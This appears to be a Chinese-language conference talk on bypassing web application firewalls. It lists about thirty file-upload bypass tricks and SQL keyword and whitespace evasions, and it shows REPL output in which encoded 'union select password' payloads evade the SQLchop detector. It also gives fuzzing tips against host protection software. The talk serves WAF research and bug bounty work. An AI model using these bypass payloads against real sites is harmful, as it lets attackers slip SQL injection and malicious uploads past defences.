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没人Care的一些信息

• @河图安全
• 啥颜色帽子都不是
• Tr3jer@Gmail.com
• www.Thinkings.org
• weibo & Twitter : @Tr3jer
• Security Researcher、Developers、Criminology



我就不科普WAF是啥了。



主流WAF有哪些？



根据研发们的IQ评测其WAF.
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陈网友的SQL臭破 *** *** 战五渣WAF



• 更好的完善WAF系统。
• 留着Bug Bounty用 2333。

• 黑产高价收购WAF绕过方式。
• 完全绕过的价格可达到一万+。

含有WAF的程序

ByPass & 挖洞

Report

Fix Vul & Update WAF

ByPass的价值



ByPass的价值

• 更好的完善WAF系统。
• 留着Bug Bounty用 2333。

• 黑产高价收购WAF绕过方式。
• 完全绕过的价格可达到一万+。



WAF玩家的自我修养



• 时刻猥琐着

• 多总结 & 举一反三

• 关注系统&语言&数据库特性

• Impossible ==> I’m possible

WAF玩家的自我修养



• 时刻猥琐着

• 多总结 & 举一反三

• 关注系统&语言&数据库特性

• Impossible ==> I’m possible

1、filename在content-type下面 16、去掉content-disposition的form-data字段
2、.asp{80-90}                                                                17、php<5.3 单双引号截断特性
3、NTFS ADS                                                                 18、删掉content-disposition: form-data;
4、.asp...                                                                         19、content-disposition\00:
5、boundary不一致 20、{char}+content-disposition
6、iis6分号截断asp.asp;asp.jpg                                    21、head头的content-type: tab
7、apache解析漏洞php.php.ddd                                   22、head头的content-type: multipart/form-DATA
8、boundary和content-disposition中间插入换行 23、filename后缀改为大写
9、hello.php:a.jpg然后hello.<<<                                    24、head头的Content-Type: multipart/form-data;\n
10、filename=php.php                                                   25、.asp空格
11、filename="a.txt";filename="a.php”                        26、.asp0x00.jpg截断
12、name=\n"file";filename="a.php"                            27、双boundary
13、content-disposition:\n                                             28、file\nname="php.php"
14、.htaccess文件 29、head头content-type空格:
15、a.jpg.\nphp                                                               30、form-data字段与name字段交换位置

WAF玩家的自我修养



正确的Upload Fuzz

Content-Type: multipart/form-data; boundary=---------------------------15230819724336311641626959077

-----------------------------15230819724336311641626959077
Content-Disposition: form-data; name="file1"; filename="a.asp"
Content-Type: application/octet-stream

test
-----------------------------15230819724336311641626959077--

蓝：左侧可控
绿：右侧可控
红：两侧可控

ISAPIChar WAF



• 时刻猥琐着

• 多总结 & 举一反三

• 关注系统&语言&数据库特性

• Impossible ==> I’m possible

Mysql : 
1e1{union from}、\nkeyword、{+ - `` '' "" ~ ! @ () {} }keyword
10个可代替空格的字符、Error Return设计缺陷等 …
Mssql : 
30多个可代替空格的字符、Error Return设计缺陷等 …
Annotation : 
-- , # , -- + , // , -- - , /**/ , ;%00 , /*!20000*/
Apache :
解析特性、HPP、畸形method、畸形Boundary等 …
Nginx :
解析特性等 …
Osx : 
test.php{\xFC[\x80-\x83]}
Linux : 
host''name
Windows & IIS : 
Unicode、畸形Unicode、ADS流、N种HTTP畸形正文、解析特性、截断特性、HPP、畸形Boundary、GET／POST傻傻分不清、无数畸形字符可以
代替正常字符等 …
Encoder : 
Json、Unicode、Base64、Url Encode、Html、Serialize、双重编码等 …

WAF玩家的自我修养



WAF玩家的自我修养

• 时刻猥琐着

• 多总结 & 举一反三

• 关注系统&语言&数据库特性

• Impossible ==> I’m possible



WAF都有哪些致命的缺陷？

• 死心眼

• 缺心眼

• 自身的漏洞

什么Method我就识别什么Method。。。

POST过来的我就只识别请求体，URI是干净的呢。。。

我竟无言以对，好像没什么不对的呢。。。



WAF都有哪些致命的缺陷？

• 死心眼

• 缺心眼

• 影响业务 === 累赘
• 技术交流站随便发个帖或回个Issue都能被误认为

RCE。。。

• 多个可控点规则没同步

• 吃瓜群众惨遭WAF连坐效应

• 自身的漏洞



如果信息安全社区使用某些WAF的话，
你能开起来算我输。。。



WAF都有哪些致命的缺陷？

• 死心眼

• 缺心眼

• 影响业务 === 累赘

• 多个可控点规则没同步

• 指哪修哪

• 吃瓜群众惨遭WAF连坐效应

• 自身的漏洞



WAF都有哪些致命的缺陷？

• 死心眼

• 缺心眼

• 影响业务 === 累赘

• 多个可控点规则没同步

• 吃瓜群众惨遭WAF连坐效应

• 自身的漏洞



• 黑客使用移动上网卡，专挑人多的地方，你敢封？还真敢。

• 你脾气酸性，有WAF研发背景，爱封IP，这些都可以。但你动手
之前可不可以给吃瓜群众一个眼神？



WAF都有哪些致命的缺陷？
• 死心眼

• 缺心眼

• 自身的漏洞

• 已曝光的：

• 某信TOP防护系列交互层已成骰子。。。
• 多款主机防护软件文件运行前未校验，导致本地权限提升

• 某主机防护软件超长参数处理不当，导致Service Unavailable
• 未曝光的：

• Buffer overflow
• WAF的云管理平台存在漏洞，可直接拿你权限关你机。。。



• 针对云WAF
• 不要相信Demo的规则
• 多收集例站进行站点随机Fuzz，建议至少50+

• 针对IPS／IDS
• 尽可能先拿到早版本的交互层代码

• 扫其服务测其EXP
• 针对主机防护软件

• WAF就在眼前，Rule我想去猜猜
• 懂逆向则逆向，不懂逆向就瞎Fuzz，内存泄露、dll劫持使劲怼，crash了最好。

测试WAF小经验

# 同一个云WAF例站，Payload顺序填充，目标随机性、确保同一个例
站短时间不被抽中 + 延时。
map(lambda x:waf_target_list.append(x.strip()),open('waf_target.txt'))

now_target = random.choice(waf_target_list)



测试WAF小经验
• 针对云WAF
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词法分析&机器学习？

• 代替昂长的正则Rule
• 准确率和召回率更高
• 具有一定的防0day能力
• WAF研发被开除的几率更小



举个



陈网友的SQLchop

• 类似CFG实现判断语法。
• 算法复杂度达到了O(N)。
• 递归解码的片段进行综合打分。



如何套路词法分析？
>>> chop.classify({'urlpath':'/?id=1 union select password from users'},True)
{'payloads': [{'key': '',

'score': 2.869999885559082,
'source': 'urlpath: querystring_decode ',
'value': '1 union select password from users'}],

'result': 1}

>>> chop.classify({'urlpath':'/?id=1 union select straight_join from users'},True)
{'payloads': [{'key': '',

'score': 1.5733333826065063,
'source': 'urlpath: querystring_decode ',
'value': '1 union select straight_join from users'}],

'result': 0}

password
<type bareword>

straight_join
<keyword straight_join>



Keywords Fuzz — Payloads



Keywords Fuzz — Code



Keywords Fuzz — Result



• 道理我都懂，可怎么利用呢？
• 利用这些keyword降低score值
• 继续Fuzz使score值增高的两个keyword之间—“位”
• 唯一的目标：降低score值，即使降低很小也有可能。

Keywords Fuzz —降低score值



• 道理我都懂，可怎么利用呢？
• 利用这些keyword降低score值
• 继续Fuzz使score值增高的两个keyword之间—“位”
• 唯一的目标：降低score值，即使降低很小也有可能。

>>> chop.classify({'urlpath':'/?id=1 union select'},True)
{'payloads': [{'key': '',

'score': 2.180000066757202,
'source': 'urlpath: querystring_decode ',
'value': '1 union select'}],

'result': 1}

Keywords Fuzz —降低score值



• 道理我都懂，可怎么利用呢？
• 利用这些keyword降低score值
• 继续Fuzz使score值增高的两个keyword之间—“位”
• 唯一的目标：降低score值，即使降低很小也有可能。

Keywords Fuzz —降低score值
>>> chop.classify({'urlpath':'/?id=1 union%2d%2d%01%0aselect'},True)
{'payloads': [{'key': '',

'score': 0.2014707624912262,
'source': 'urlpath: querystring_decode ',
'value': '1 union%2d%2d%01%0aselect'},

{'key': '',
'score': 0.20900000631809235,
'source': 'urlpath: url_decode querystring_decode ',
'value': '1 union--\x01\nselect'},

{'key': '',
'score': 2.0899999141693115,
'source': 'urlpath: url_decode querystring_decode whitespaces ',
'value': '1 union-- select'}],

'result': 0}



>>> chop.classify({'urlpath':'/?id=1 union%2d%2d%01%0aselect password as ddd from 
ddd'},True)
{'payloads': [{'key': '',

'score': 0.2906666696071625,
'source': 'urlpath: querystring_decode ',
'value': '1 union%2d%2d%01%0aselect password as ddd from ddd'},

{'key': '',
'score': 1.8533333539962769,
'source': 'urlpath: url_decode querystring_decode ',
'value': '1 union--\x01\nselect password as ddd from ddd'},

{'key': '',
'score': 2.0899999141693115,
'source': 'urlpath: url_decode querystring_decode whitespaces ',
'value': '1 union-- select password as ddd from ddd'}],

'result': 0}

Keywords Fuzz — Down。



娱乐圈请往后潲一潲。
个人感觉SQLchop的准确率和召回率可以达到99%。
它值得我们学习和挑战。
但无论基于正则还是词法分析都不会是完美的。



会务组不让写“Thanks Everyone”，
那我改首林俊杰的歌送给大家吧。



《修炼WAF》
修炼WAF的心酸

学会放好以前的Regex

我们那些绕过
要拦截多难
远距离的Log
近距离的Rule

谁说WAF会防住猥琐
别人有的KPI

我们不可能模仿

修炼WAF的悲欢

我们这些防御不简单
业务上线WAF

是一种勇敢
几年前的绕过
几年后的Filter

为一WAF去养一身伤

别想绕过我
我会受不了这样
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